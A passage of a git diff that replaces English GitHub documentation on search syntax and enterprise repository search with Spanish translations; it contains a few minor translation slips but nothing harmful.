+Para limitar tu búsqueda por entorno, puedes usar una opción de filtro en {% data variables.search.advanced_url %} o puedes usar el prefijo de búsqueda `environment:`. Para solo buscar contenido en {% data variables.product.product_name %}, usa la sintaxis de búsqueda `environment:local`. Para solo buscar contenido en {% data variables.product.prodname_dotcom_the_website %}, usa la sintaxis de búsqueda `environment:github`.
 
-Your enterprise owner on {% data variables.product.product_name %} can enable {% data variables.product.prodname_unified_search %} for all public repositories, all private repositories, or only certain private repositories in the connected {% data variables.product.prodname_ghe_cloud %} organization.
+Tu propietario de empresa en {% data variables.product.product_name %} puede habilitar la {% data variables.product.prodname_unified_search %} para todos los repositorios públicos y privados o únicamente los privados en la organización conectada de {% data variables.product.prodname_ghe_cloud %}.
 
-When you search from {% data variables.product.product_name %}, you can only search in the private repositories that you have access to in the connected {% data variables.product.prodname_dotcom_the_website %} organization. Enterprise owners for {% data variables.product.product_name %} and organization owners on {% data variables.product.prodname_dotcom_the_website %} cannot search private repositories owned by your account on {% data variables.product.prodname_dotcom_the_website %}. To search the applicable private repositories, you must enable private repository search for your personal accounts on {% data variables.product.product_name %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)."
+Cuando buscas en {% data variables.product.product_name %}, solo puedes buscar en los repositorios privados de la organización conectada de {% data variables.product.prodname_dotcom_the_website %} a los cuales tengas acceso. Los propietarios de empresa de {% data variables.product.product_name %} y los propietarios de organizaciones en {% data variables.product.prodname_dotcom_the_website %} no pueden buscar en los repositorios privados que pertenezcan a tu cuenta de {% data variables.product.prodname_dotcom_the_website %}. Para buscar los repositorios privados aplicables, debes habilitar la búsqueda en repositorios privados para tus cuentas personales de {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Habilitar la búsqueda de repositorios en {% data variables.product.prodname_dotcom_the_website %} desde tu ambiente empresarial privado](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)".
 
 {% endif %}
 
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)"
-- "[Searching on GitHub](/articles/searching-on-github)"
+- "[Entender la sintaxis de búsqueda](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)"
+- "[Búsqueda en GitHub](/articles/searching-on-github)"
diff --git a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
index cf410536e1..c298358207 100644
--- a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
+++ b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
@@ -1,11 +1,11 @@
 ---
-title: Enabling GitHub.com repository search from your private enterprise environment
-shortTitle: Search GitHub.com from enterprise
-intro: 'You can connect your personal accounts on {% data variables.product.prodname_dotcom_the_website %} and your private {% data variables.product.prodname_enterprise %} environment to search for content in certain {% data variables.product.prodname_dotcom_the_website %} repositories{% ifversion fpt or ghec %} from your private environment{% else %} from {% data variables.product.product_name %}{% endif %}.'
+title: Habilitar la búsqueda en repositorios de GitHub.com desde tu ambiente empresarial privado
+shortTitle: Buscar en GitHub.com desde una empresa
+intro: 'Puedes conectar tus cuentas personales de {% data variables.product.prodname_dotcom_the_website %} y tu ambiente privado de {% data variables.product.prodname_enterprise %} para buscar contenido en repositorios específicos de {% data variables.product.prodname_dotcom_the_website %}{% ifversion fpt or ghec %} desde tu ambiente privado{% else %} desde {% data variables.product.product_name %}{% endif %}.'
 redirect_from:
-  - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-account/
-  - /articles/enabling-private-github-com-repository-search-in-your-github-enterprise-server-account/
-  - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-server-account/
+  - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-account
+  - /articles/enabling-private-github-com-repository-search-in-your-github-enterprise-server-account
+  - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-server-account
   - /articles/enabling-githubcom-repository-search-in-github-enterprise-server
   - /github/searching-for-information-on-github/enabling-githubcom-repository-search-in-github-enterprise-server
   - /github/searching-for-information-on-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-in-github-enterprise-server
@@ -18,35 +18,34 @@ topics:
   - GitHub search
 ---
 
-## About search for {% data variables.product.prodname_dotcom_the_website %} repositories from {% ifversion fpt or ghec %}your private enterprise environment{% else %}{% data variables.product.product_name %}{% endif %}
+## Acerca de cómo buscar repositorios de {% data variables.product.prodname_dotcom_the_website %} desde {% ifversion fpt or ghec %}tu ambiente empresarial privado{% else %}{% data variables.product.product_name %}{% endif %}
 
-You can search for designated private repositories on {% data variables.product.prodname_ghe_cloud %} from {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}{% endif %}. {% ifversion fpt or ghec %}For example, if you use {% data variables.product.prodname_ghe_server %}, you can search for private repositories from your enterprise from {% data variables.product.prodname_ghe_cloud %} in the web interface for {% data variables.product.prodname_ghe_server %}.{% endif %}
+Puedes buscar repositorios privados designados en {% data variables.product.prodname_ghe_cloud %} desde {% ifversion fpt or ghec %}tu ambiente privado de {% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_location %}{% ifversion ghae %} en {% data variables.product.prodname_ghe_managed %}{% endif %}{% endif %}. {% ifversion fpt or ghec %}Por ejemplo, si utilizas {% data variables.product.prodname_ghe_server %}, puedes buscar repositorios privados desde tu empresa en {% data variables.product.prodname_ghe_cloud %} en la interfaz web de {% data variables.product.prodname_ghe_server %}.{% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
-- An enterprise owner for {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_name %}{% endif %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_unified_search %} for private repositories. For more information, see the following.{% ifversion fpt or ghes or ghec %}
-  - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}{% endif %}{% ifversion fpt or ghec or ghae %}
-  - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} in the {% data variables.product.prodname_ghe_managed %} documentation{% endif %}
+- Un propietario de empresa de {% ifversion fpt or ghec %}tu ambiente privado de {% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} debe habilitar {% data variables.product.prodname_github_connect %} y {% data variables.product.prodname_unified_search %}. Para obtener más información, consulta lo siguiente.{% ifversion fpt or ghes or ghec %}
+  - "[Habilitar la {% data variables.product.prodname_unified_search %} entre tu cuenta empresarial y {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} en la documentación de {% data variables.product.prodname_ghe_server %}{% endif %}{% endif %}{% ifversion fpt or ghec or ghae %}
+  - "[Habilitar la {% data variables.product.prodname_unified_search %} entre tu cuenta empresarial y {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} en la documentación de {% data variables.product.prodname_ghe_managed %}{% endif %}
 {% endif %}
 
-- You must already have access to the private repositories and connect your account {% ifversion fpt or ghec %}in your private {% data variables.product.prodname_enterprise %} environment{% else %}on {% data variables.product.product_name %}{% endif %} with your account on {% data variables.product.prodname_dotcom_the_website %}. For more information about the repositories you can search, see "[About searching on GitHub](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)."
+- Ya debes tener acceso a los repositorios privados y conectar tu cuenta {% ifversion fpt or ghec %}en tu ambiente privado de {% data variables.product.prodname_enterprise %}{% else %} en {% data variables.product.product_name %}{% endif %} con tu cuenta en {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información sobre los repositorios en los que puedes buscar, consulta la sección "[Acerca de cómo buscar en GitHub](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)".
 
-## Enabling GitHub.com repository search from {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_name %}{% endif %}
+## Habilitar la búsqueda de repositorios de GitHub.com desde {% ifversion fpt or ghec %}tu ambiente privado de {% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %}
 
 {% ifversion fpt or ghec %}
 
-For more information, see the following.
+Para obtener más información, consulta lo siguiente.
 
-| Your enterprise environment | More information |
-| :- | :- |
-| {% data variables.product.prodname_ghe_server %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |
-| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)" |
+| Tue ambiente empresarial                            | Más información                                                                                                                                                                                                                                                                                                                                                                  |
+|:--------------------------------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% data variables.product.prodname_ghe_server %}  | "[Habilitar la búsqueda de repositorios de {% data variables.product.prodname_dotcom_the_website %} desde tu ambiente empresarial privado](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |
+| {% data variables.product.prodname_ghe_managed %} | "[Habilitar la búsqueda de repositorios de {% data variables.product.prodname_dotcom_the_website %} desde tu ambiente empresarial privado](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)"                       |
 
 {% elsif ghes or ghae %}
 
-1. Sign into {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.
-1. On {% data variables.product.product_name %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+1. Inicia sesión en {% data variables.product.product_name %} y en {% data variables.product.prodname_dotcom_the_website %}.
+1. En {% data variables.product.product_name %}, en la esquina superior derecha de cualquier página, haz clic en tu foto de perfil y luego haz clic en **Ajustes**. ![Icono Settings (Parámetros) en la barra de usuario](/assets/images/help/settings/userbar-account-settings.png)
 {% data reusables.github-connect.github-connect-tab-user-settings %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
diff --git a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
index 0df535b263..bfc4e0b3c9 100644
--- a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
+++ b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
@@ -1,8 +1,8 @@
 ---
-title: Understanding the search syntax
-intro: 'When searching {% data variables.product.product_name %}, you can construct queries that match specific numbers and words.'
+title: Entender la sintaxis de búsqueda
+intro: 'Cuando buscas {% data variables.product.product_name %}, puedes construir consultas que coincidan con números y palabras específicas.'
 redirect_from:
-  - /articles/search-syntax/
+  - /articles/search-syntax
   - /articles/understanding-the-search-syntax
   - /github/searching-for-information-on-github/understanding-the-search-syntax
   - /github/searching-for-information-on-github/getting-started-with-searching-on-github/understanding-the-search-syntax
@@ -13,87 +13,88 @@ versions:
   ghec: '*'
 topics:
   - GitHub search
-shortTitle: Understand search syntax
+shortTitle: Entender la sintaxis de búsqueda
 ---
-## Query for values greater or less than another value
 
-You can use `>`, `>=`, `<`, and `<=` to search for values that are greater than, greater than or equal to, less than, and less than or equal to another value.
+## Consulta para valores mayores o menores que otro valor
 
-Query  | Example
-------------- | -------------
-<code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** matches repositories with the word "cats" that have more than 1000 stars.
-<code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** matches repositories with the word "cats" that have 5 or more topics.
-<code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** matches code with the word "cats" in files that are smaller than 10 KB.
-<code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** matches repositories with the word "cats" that have 50 or fewer stars.
+Puedes utilizar `>`, `>=`, `<` y `<=` para buscar valores que sean mayores, mayores o iguales, menores y menores o iguales a otro valor.
 
-You can also use [range queries](#query-for-values-between-a-range) to search for values that are greater than or equal to, or less than or equal to, another value.
+| Consulta                  | Ejemplo                                                                                                                                                                                                |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** coincidirá con los repositorios que tengan la palabra "cats" y tengan más de 1000 estrellas. |
+| <code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** coincidirá con los repositorios que tengan la palabra "cats" y tengan 5 o más temas.         |
+| <code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** coincidirá con el código que tenga la palabra "cats" en los archivos que sean menores a 10 KB.       |
+| <code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** coincidirá con los repositorios que tengan la palabra "cats" y 50 estrellas o menos.         |
 
-Query  | Example
-------------- | -------------
-<code><em>n</em>..*</code> | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** is equivalent to `stars:>=10` and matches repositories with the word "cats" that have 10 or more stars.
-<code>*..<em>n</em></code> | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** is equivalent to `stars:<=10` and matches repositories with the word "cats" that have 10 or fewer stars.
+También puedes utilizar [consultas por rango](#query-for-values-between-a-range) para buscar valores que sean mayores o iguales, o menores o iguales a otro valor.
 
-## Query for values between a range
+| Consulta                  | Ejemplo                                                                                                                                                                                                                        |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code><em>n</em>..*</code> | **[gatos estrellas:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** equivale a `estrellas:>=10` y busca repositorios con la palabra "gatos" que tengan 10 o más estrellas.         |
+| <code>*..<em>n</em></code> | **[gatos estrellas:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** equivale a `estrellas:<=10` y busca repositorios con la palabra "gatos" que tengan 10 o menos estrellas. |
 
-You can use the range syntax <code><em>n</em>..<em>n</em></code> to search for values within a range, where the first number _n_ is the lowest value and the second is the highest value.
+## Consulta para valores entre un rango
 
-Query  | Example
-------------- | -------------
-<code><em>n</em>..<em>n</em></code>  | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** matches repositories with the word "cats" that have between 10 and 50 stars.
+Puedes utilizar la sintaxis de rango <code><em>n</em>..<em>n</em></code> para buscar valores dentro de un rango, en los que el primer número _n_ sea el valor más bajo y el segundo sea el valor más alto.
 
-## Query for dates
+| Consulta                  | Ejemplo                                                                                                                                                                                      |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code><em>n</em>..<em>n</em></code> | **[gatos estrellas:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** busca repositorios con la palabra "gatos" que tengan entre 10 y 50 estrellas. |
 
-You can search for dates that are earlier or later than another date, or that fall within a range of dates, by using `>`, `>=`, `<`, `<=`, and [range queries](#query-for-values-between-a-range). {% data reusables.time_date.date_format %}
+## Consulta por fechas
 
-Query  | Example
-------------- | -------------
-<code>><em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** matches issues with the word "cats" that were created after April 29, 2016.
-<code>>=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** matches issues with the word "cats" that were created on or after April 1, 2017.
-<code><<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** matches code with the word "cats" in repositories that were pushed to before July 5, 2012.
-<code><=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** matches issues with the word "cats" that were created on or before July 4, 2012.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** matches repositories with the word "cats" that were pushed to between the end of April and July of 2016.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..*</code> | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** matches issues created after April 30th, 2012 containing the word "cats."
-<code>*..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** matches issues created before July 4th, 2012 containing the word "cats."
+Puedes buscar fechas que sean anteriores o posteriores a otra fecha o que entren en un rango de fechas, utilizando `>`, `>=`, `<`, `<=` y [consultas por rango](#query-for-values-between-a-range). {% data reusables.time_date.date_format %}
+
+| Consulta                   | Ejemplo                                                                                                                                                                                                                                                   |
+| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>><em>AAAA</em>-<em>MM</em>-<em>DD</em></code>  | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** coincidirá con informes de problemas que tengan la palabra "cats" y se hayan creado después del 29 de abril de 2016.                  |
+| <code>>=<em>AAAA</em>-<em>MM</em>-<em>DD</em></code>  | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** coincidirá con informes de problemas que contengan la palabra "cats" y se hayan creado en o después del 1 de abril de 2017.       |
+| <code><<em>AAAA</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** coincidirá con el código que contenga la palabra "cats" en los repositorios en los que se subió información antes del 5 de julio de 2012. |
+| <code><=<em>AAAA</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** coincidirá con los informes de problemas que contengan la palabra "cats" y se hayan creado en o antes del 4 de julio de 2012.     |
+| <code><em>AAAA</em>-<em>MM</em>-<em>DD</em>..<em>AAAA</em>-<em>MM</em>-<em>DD</em></code> | **[gatos subidos:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** busca repositorios con la palabra "gatos" que se hayan subido entre fines de abril y julio de 2016.         |
+| <code><em>AAAA</em>-<em>MM</em>-<em>DD</em>..*</code> | **[gatos creados:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** busca propuestas que se hayan creado después del 30 de abril de 2012 y contengan la palabra "gatos".                               |
+| <code>*..<em>AAAA</em>-<em>MM</em>-<em>DD</em></code> | **[gatos creados:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** busca propuestas creadas antes del 4 de julio de 2012 que contengan la palabra "gatos".                                            |
 
 {% data reusables.time_date.time_format %}
 
-Query  | Example
-------------- | -------------
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** matches issues created between January 1, 2017 at 1 a.m. with a UTC offset of `07:00` and March 1, 2017 at 3 p.m. with a UTC offset of `07:00`.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code>  | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** matches issues created between March 21, 2016 at 2:11pm and April 7, 2106 at 8:45pm.
+| Consulta                   | Ejemplo                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code><em>AAAA</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[gatos creados:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** busca propuestas creadas entre el 1 de enero de 2017 a la 1 a. m. con una compensación de UTC de `07:00` y el 1 de marzo de 2017 a las 3 p. Con un desplazamiento UTC de `07:00` y 1 de marzo de 2017 a las 3 p.m. m. con una compensación de UTC de `07:00`. |
+| <code><em>AAAA</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code> | **[gatos creados:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** busca propuestas creadas entre el 21 de marzo de 2016 a las 2:11 p. m. y el 7 de abril de 2106 a las 8:45 p. m.                                                                                                                                                                           |
 
-## Exclude certain results
+## Excluye determinados resultados
 
-You can exclude results containing a certain word, using the `NOT` syntax. The `NOT` operator can only be used for string keywords. It does not work for numerals or dates.
+Puedes excluir resultados que contengan una determinada palabra utilizando la sintaxis `NOT` (NO). El operador `NOT` solo se puede utilizar para las palabras clave en cadena. No funciona para números o fechas.
 
-Query  | Example
-------------- | -------------
-`NOT`  | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** matches repositories that have the word "hello" but not the word "world."
+| Consulta | Ejemplo                                                                                                                                                         |
+| -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `NOT`    | **[hola NOT mundo](https://github.com/search?q=hello+NOT+world&type=Repositories)** busca repositorios que tengan la palabra "hola", pero no la palabra "mundo" |
 
-Another way you can narrow down search results is to exclude certain subsets. You can prefix any search qualifier with a `-` to exclude all results that are matched by that qualifier.
+Otra manera de reducir los resultados de búsqueda es excluir determinados subconjuntos. Puedes usar como prefijo de cualquier calificador de búsqueda un `-` para excluir todos los resultados que coincidan con ese calificador.
 
-Query  | Example
-------------- | -------------
-<code>-<em>QUALIFIER</em></code>  | **[mentions:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** matches issues mentioning @defunkt that are not in repositories in the GitHub organization.
+| Consulta                   | Ejemplo                                                                                                                                                                                                                         |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>-<em>CALIFICADOR</em></code> | **[menciones:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** busca propuestas que mencionan a @defunkt y no estén en repositorios de la organización de GitHub. |
 
-## Use quotation marks for queries with whitespace
+## Utiliza comillas para las consultas con espacios en blanco
 
-If your search query contains whitespace, you will need to surround it with quotation marks. For example:
+Si tu consulta de búsqueda contiene espacios en blanco, tendrás que encerrarla entre comillas. Por ejemplo:
 
-* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) matches repositories with the word "cats" but not the words "hello world."
-* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) matches issues with the word "build" that have the label "bug fix."
+* [gatos NOT "hola mundo"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) busca repositorios con la palabra "gatos", pero sin las palabras "hola mundo".
+* [construir etiqueta:"corrección de error"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) busca propuestas con la palabra "construir" que tengan la etiqueta "corrección de error".
 
-Some non-alphanumeric symbols, such as spaces, are dropped from code search queries within quotation marks, so results can be unexpected.
+Algunos símbolos que no son alfanuméricos, como los espacios, se quitan de las consultas de búsqueda de código que van entre comillas; por lo tanto, los resultados pueden ser imprevistos.
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Queries with usernames
+## Consultas con nombres de usuario
 
-If your search query contains a qualifier that requires a username, such as `user`, `actor`, or `assignee`, you can use any {% data variables.product.product_name %} username, to specify a specific person, or `@me`, to specify the current user.
+Si tu consulta de búsqueda contiene un calificador que requiere un nombre de usuario, tal como `user`, `actor`, o `assignee`, puedes utilizar cualquier nombre de usuario de {% data variables.product.product_name %} para especificar una persona en concreto, o utilizar `@me`, para especificar el usuario actual.
 
-Query  | Example
-------------- | -------------
-`QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) matches commits authored by @nat
-`QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) matches issues assigned to the person viewing the results
+| Consulta             | Ejemplo                                                                                                                                                                                       |
+| -------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) coincidirá con las confirmaciones del autor @nat                                                                        |
+| `QUALIFIER:@me`      | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) coincidirá con los informes de problemas asignados a la persona que está viendo los resultados |
 
-You can only use `@me` with a qualifier and not as search term, such as `@me main.workflow`.
+Solo puedes utilizar `@me` con un calificador y no como un término de búsqueda, tal como `@me main.workflow`.
 {% endif %}
diff --git a/translations/es-ES/content/search-github/index.md b/translations/es-ES/content/search-github/index.md
index 696b98eca7..8b327d39ce 100644
--- a/translations/es-ES/content/search-github/index.md
+++ b/translations/es-ES/content/search-github/index.md
@@ -2,8 +2,8 @@
 title: Buscar información en GitHub
 intro: Utiliza los diferentes tipos de búsqueda para encontrar la información que quieres.
 redirect_from:
-  - /categories/78/articles/
-  - /categories/search/
+  - /categories/78/articles
+  - /categories/search
   - /categories/searching-for-information-on-github
   - /github/searching-for-information-on-github
 versions:
diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-commits.md b/translations/es-ES/content/search-github/searching-on-github/searching-commits.md
index e7f31a7604..e0e772a5f7 100644
--- a/translations/es-ES/content/search-github/searching-on-github/searching-commits.md
+++ b/translations/es-ES/content/search-github/searching-on-github/searching-commits.md
@@ -109,11 +109,9 @@ The `is` qualifier matches commits from repositories with the specified visibili
